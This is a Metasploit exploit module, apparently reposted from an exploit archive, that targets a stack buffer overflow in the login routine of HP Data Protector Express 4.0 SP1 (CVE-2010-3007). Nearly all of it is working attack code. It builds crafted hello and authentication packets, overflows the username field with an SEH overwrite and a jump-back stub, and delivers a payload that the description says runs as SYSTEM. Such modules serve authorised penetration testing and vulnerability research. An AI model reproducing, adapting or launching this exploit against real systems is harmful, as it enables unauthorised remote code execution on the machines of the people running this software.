HP Data Protector – DtbClsLogin Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'HP Data Protector DtbClsLogin Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in HP Data Protector 4.0 SP1. The overflow occurs during the login process, in the DtbClsLogin function provided by the dpwindtb.dll component, where the Utf8Cpy (strcpy like function) is used in an insecure way with the username. A successful exploitation will lead to code execution with the privileges of the "dpwinsdr.exe" (HP Data Protector Express Domain Server Service) process, which runs as SYSTEM by default. }, 'Author' => [ 'AbdulAziz Hariri', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2010-3007' ], [ 'OSVDB', '67973' ], [ 'BID', '43105' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-174/' ], [ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02498535' ] ], 'Payload' => { 'Space' => 712, 'BadChars' => "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ ['HP Data Protector Express 4.0 SP1 (build 43064) / Windows XP SP3', { 'Ret' => 0x66dd3e49, # ppr from ifsutil.dll (stable over windows updates on June 26, 2012) 'Offset' => 712 } ] ], 'DefaultTarget' => 0, 'Privileged' => true, 'DisclosureDate' => 'Sep 09 2010' )) register_options( [ Opt::RPORT(3817), ], self.class) end def check connect machine_name = rand_text_alpha(15) print_status("#{sock.peerinfo} - Sending Hello Request") hello = "\x54\x84\x00\x00\x00\x00\x00\x00" << "\x00\x01\x00\x00\x92\x00\x00\x00" hello << "\x3a\x53\xa5\x71\x02\x40\x80\x00" << "\x89\xff\xb5\x00\x9b\xe8\x9a\x00" hello << "\x01\x00\x00\x00\xc0\xa8\x01\x86" << "\x00\x00\x00\x00\x00\x00\x00\x00" hello << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00" hello << "\x00\x00\x00\x00\x01\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00" hello << "\x00\x00\x00\x00" hello << machine_name << "\x00" hello << "\x5b\x2e\xad\x71\xb0\x02\x00\x00" << "\xff\xff\x00\x00\x06\x10\x00\x44" hello << "\x74\x62\x3a\x20\x43\x6f\x6e\x74" << "\x65\x78\x74\x00\xe8\xc1\x08\x10" hello << "\xb0\x02\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x7c\xfa" sock.put(hello) hello_response = sock.get disconnect if hello_response and hello_response =~ /Dtb: Context/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit connect machine_name = rand_text_alpha(15) print_status("#{sock.peerinfo} - Sending Hello Request") hello = "\x54\x84\x00\x00\x00\x00\x00\x00" << "\x00\x01\x00\x00\x92\x00\x00\x00" hello << "\x3a\x53\xa5\x71\x02\x40\x80\x00" << "\x89\xff\xb5\x00\x9b\xe8\x9a\x00" hello << "\x01\x00\x00\x00\xc0\xa8\x01\x86" << "\x00\x00\x00\x00\x00\x00\x00\x00" hello << "\x00\x00\x00\x00\x00\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00" hello << "\x00\x00\x00\x00\x01\x00\x00\x00" << "\x00\x00\x00\x00\x00\x00\x00\x00" hello << "\x00\x00\x00\x00" hello << machine_name << "\x00" hello << "\x5b\x2e\xad\x71\xb0\x02\x00\x00" << "\xff\xff\x00\x00\x06\x10\x00\x44" hello << "\x74\x62\x3a\x20\x43\x6f\x6e\x74" << "\x65\x78\x74\x00\xe8\xc1\x08\x10" hello << "\xb0\x02\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x7c\xfa" sock.put(hello) hello_response = sock.get if not hello_response or hello_response.empty? print_error("#{sock.peerinfo} - The Hello Request hasn't received a response") return end bof = payload.encoded bof << rand_text(target['Offset']-bof.length) bof << generate_seh_record(target.ret) bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset']+8}").encode_string # The line below is used to trigger exception, don't go confused because of the big space, # there are only some available bytes until the end of the stack, it allows to assure exception # when there are mappings for dynamic memory after the stack, so to assure reliability it's better # to jump back. bof << rand_text(100000) header = [0x8451].pack("V") # packet id header << [0x32020202].pack("V") # svc id header << [0x00000018].pack("V") # cmd id header << [0].pack("V") # pkt length, calculated after pkt has been built header << "\x00\x00\x00\x00" # ?Unknown? pkt_auth = header pkt_auth << bof # username pkt_auth[12, 4] = [pkt_auth.length].pack("V") print_status("#{sock.peerinfo} - Sending Authentication Request") sock.put(pkt_auth) disconnect end end |